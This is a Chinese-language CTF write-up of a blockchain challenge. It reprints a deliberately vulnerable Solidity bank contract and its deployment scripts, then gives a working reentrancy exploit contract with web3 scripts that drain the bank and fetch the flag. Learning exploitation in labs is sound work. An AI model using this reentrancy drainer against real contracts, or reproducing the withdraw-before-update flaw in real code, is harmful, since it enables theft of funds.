由于是同一个比赛,writeup和复现就放在同一篇文章里了

Writeup部分

Writeup

复现部分

Blockchain

thief_god

本题中使用的是智能合约安全中的重入攻击,看网上说这已经是很基础的东西了,结果我比赛时弄了大半天都没弄明白。。。该找个时间好好学学区块链了。。。

题目

1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
import subprocess
import time
import re
from web3 import Web3
from solcx import compile_source, install_solc
import os
# 安装特定版本的solc
install_solc('0.8.26')

# 启动Hardhat节点并将输出重定向到文件
with open("hardhat_node_output.txt", "w") as outfile:
node_process = subprocess.Popen(
["npx", "hardhat", "node", "--hostname", "0.0.0.0"],
stdout=outfile,
stderr=subprocess.PIPE,
text=True
)

time.sleep(30) # 等待节点启动

# 读取节点输出以获取账户信息
with open("hardhat_node_output.txt", "r") as infile:
output = infile.read()

# 解析Hardhat节点的输出以获取账户信息
accounts = re.findall(r'0x[a-fA-F0-9]{40}', output)

if len(accounts) < 2:
node_process.kill()
raise Exception("无法获取足够的账户信息")

deployer_account_address = accounts[0]
attacker_account_address = accounts[1]

# 使用默认私钥初始化Web3实例
w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))

# 确保连接成功
if not w3.is_connected():
node_process.kill()
raise Exception("无法连接到以太坊节点")

# 设置部署者和攻击者账户的私钥
deployer_private_key = ""
attacker_private_key = ""

deployer_account = {
"address": deployer_account_address,
"private_key": deployer_private_key
}

attacker_account = {
"address": attacker_account_address,
"private_key": attacker_private_key
}

# Solidity合约代码
solidity_code = '''
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Bank {
mapping(address => uint256) public balanceOf;
string private flag;
uint256 public flagPrice = 50 ether;

// 事件日志
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event TransferFailed(address indexed user, uint256 amount);
event FlagPurchased(address indexed buyer, string flag);

constructor(string memory _flag) {
flag = _flag;
}

// 存入ether,并更新余额
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}

// 提取msg.sender的全部ether
function withdraw() external {
uint256 balance = balanceOf[msg.sender]; // 获取余额
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
// 更新余额
balanceOf[msg.sender] = 0;
}


// 获取银行合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}

// 获取flag
function getFlag() external view returns (string memory) {
require(balanceOf[msg.sender] >= flagPrice, "Insufficient balance to get flag");
return flag;
}
}

'''

# 编译Solidity合约
compiled_sol = compile_source(solidity_code)

# 从编译后的内容中获取正确的键值
contract_id, contract_interface = compiled_sol.popitem()
# 创建合约对象
Bank = w3.eth.contract(abi=contract_interface['abi'], bytecode=contract_interface['bin'])

# 构造交易
nonce = w3.eth.get_transaction_count(deployer_account["address"])

T=0
def get_flag():
while T<200:
flag = os.getenv('GZCTF_FLAG')
if flag is not None:
return flag
print("Environment variable 'GZCTF_FLAG' is not set. Waiting for 1 minute...")
time.sleep(1) # Wait for 1 minute

# Retrieve the flag
flag = get_flag()

# Create the transaction using the flag from the environment variable
transaction = Bank.constructor(flag).build_transaction({
'chainId': 31337,
'gas': 2000000,
'gasPrice': w3.to_wei('50', 'gwei'),
'nonce': nonce,
})
# 签署交易
signed_txn = w3.eth.account.sign_transaction(transaction, private_key=deployer_account["private_key"])

# 发送交易
tx_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)

# 获取交易回执
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

# 输出合约地址和ABI
bank_contract_address = tx_receipt.contractAddress
print(f'Bank合约部署成功,地址为: {bank_contract_address}')
print(f'Bank合约ABI: {contract_interface["abi"]}')
time.sleep(2)
subprocess.Popen(["python3", "2.py"])

import socket

def start_tcp_server(host, port, message):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((host, port))
s.listen()
print(f"Listening on {host}:{port}")
while True:
conn, addr = s.accept()
with conn:
print(f"Connected by {addr}")
conn.sendall(message.encode())


message = f"Bank合约部署成功,地址与测试账号私钥为: {bank_contract_address} {attacker_account['private_key']}\n"
start_tcp_server('0.0.0.0', 65432, message)

hardcat.config.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
require("@nomicfoundation/hardhat-toolbox");

/** @type import('hardhat/config').HardhatUserConfig */
module.exports = {
solidity: "0.8.26",
networks: {
hardhat: {
accounts: [
{
privateKey: "",
balance: "20000000000000000000000"
},
{
privateKey: "0x4b609fde92771ee750dac4d0aace6c9cf34e341229dbda382e49c492ad206e5e",//attacker
balance: "10000000000000000000"
},
{
privateKey: "",
balance: "10000000000000000000000"
}
]
},
localhost: {
url: "http://127.0.0.1:8545",
// 本地网络通常不需要配置账户
},
},
defaultNetwork: "localhost",
};

地址获取脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from web3 import Web3

# 连接到本地节点
web3 = Web3(Web3.HTTPProvider("https://neptune-xxxxx.nepctf.lemonprefect.cn"))

# 定义一个函数来扫描区块链并查找合约创建交易
def find_contract_addresses(start_block, end_block):
contract_addresses = []
for block_number in range(start_block, end_block + 1):
block = web3.eth.get_block(block_number, full_transactions=True)
for tx in block.transactions:
if tx.to is None:
receipt = web3.eth.get_transaction_receipt(tx.hash)
contract_addresses.append(receipt.contractAddress)
return contract_addresses

# 扫描区块范围
start_block = 0 # 起始区块
end_block = web3.eth.block_number # 当前最新区块
contracts = find_contract_addresses(start_block, end_block)

print("Deployed contract addresses:")
for address in contracts:
print(address)
解题

阅读代码,大部分是展示了题目的部署,有用的信息是智能合约的代码和给出的攻击者的privatekey。直接在metamask中用privatekey导入账户即可得到攻击者账户的地址0x2eca396F5474202720C4561c06ABcc0Bdd186E2c。

image-20240827000351346

然后用题目所给的脚本扫一下找到题目部署的合约地址

image-20240827000642428

这样就做完了前期的准备工作。

接下来就是重入攻击,先放个传送门在这。

阅读题目中给出的合约代码,合约实现了向“银行”存、取、查以及getFlag的操作,银行中本来有50 ether。根据重入攻击,我们要做的是在从“银行”中取钱时触发一个fallback函数,使得能从“银行”中一直取钱,直到”银行“中的钱小于1 ether。据此可以编写如下合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Bank {
function deposit() external payable;
function withdraw() external;
function getBalance() external view returns (uint256);
function getFlag() external view returns (string memory);
}

contract Hack {
Bank public etherStore;
string public flag;

constructor(address _etherStoreAddress) {
etherStore = Bank(_etherStoreAddress);
}

fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}

function attack() external payable {
etherStore.deposit{value: msg.value}();
etherStore.withdraw();
}

function getflag() external {
etherStore.deposit{value: address(this).balance}();
flag = etherStore.getFlag();
}
}

部署的代码直接抄题目中的即可,输出我们的合约部署的地址和abi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from web3 import Web3
from solcx import compile_source, install_solc
install_solc('0.8.26')
w3 = Web3(Web3.HTTPProvider("https://neptune-43115.nepctf.lemonprefect.cn"))
solidity_code ='''
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Bank {
function deposit() external payable;
function withdraw() external;
function getBalance() external view returns (uint256);
function getFlag() external view returns (string memory);
}

contract Hack {
Bank public etherStore;
string public flag;

constructor(address _etherStoreAddress) {
etherStore = Bank(_etherStoreAddress);
}

fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}

function attack() external payable {
etherStore.deposit{value: msg.value}();
etherStore.withdraw();
}

function getflag() external {
etherStore.deposit{value: address(this).balance}();
flag = etherStore.getFlag();
}
}
'''
compiled_sol = compile_source(solidity_code)
contract_id, contract_interface = compiled_sol.popitem()
Bank = w3.eth.contract(
abi=contract_interface['abi'], bytecode=contract_interface['bin'])
nonce = w3.eth.get_transaction_count("0x2eca396F5474202720C4561c06ABcc0Bdd186E2c")
transaction = Bank.constructor("0xA86Cb9aCABb3E6629a47d676BEB38e2455B20917").build_transaction({
'chainId': 31337,
'gas': 2000000,
'gasPrice': w3.to_wei('50', 'gwei'),
'nonce': nonce,
})
signed_txn = w3.eth.account.sign_transaction(
transaction, private_key="0x4b609fde92771ee750dac4d0aace6c9cf34e341229dbda382e49c492ad206e5e")
tx_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
bank_contract_address = tx_receipt.contractAddress
print(f'Bank合约部署成功,地址为: {bank_contract_address}')
print(f'Bank合约ABI: {contract_interface["abi"]}')

image-20240827002114725

合约部署成功,接下来就是对合约中函数的调用。先将abi复制下来另存为一个名为Hack.abi的文件,注意要将abi中的所有单引号替换成双引号。

然后编写调用函数的脚本,先调用attack函数攻击获取ether,然后调用getflag函数输出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from web3 import Web3
from web3 import Web3, HTTPProvider
import json
w3 = Web3(Web3.HTTPProvider('https://neptune-11192.nepctf.lemonprefect.cn'))
contract_address = "0x40f60687B44C526775d40e53103C0cA745b260Fb"
with open('Hack.abi', 'r') as f:
abi = json.load(f)

contract = w3.eth.contract(address=contract_address, abi=abi)

value = w3.to_wei(5, 'ether')

contract.functions.attack().transact({'value': value})
contract.functions.getflag().transact()

print(contract.functions.flag().call())

image-20240827002735921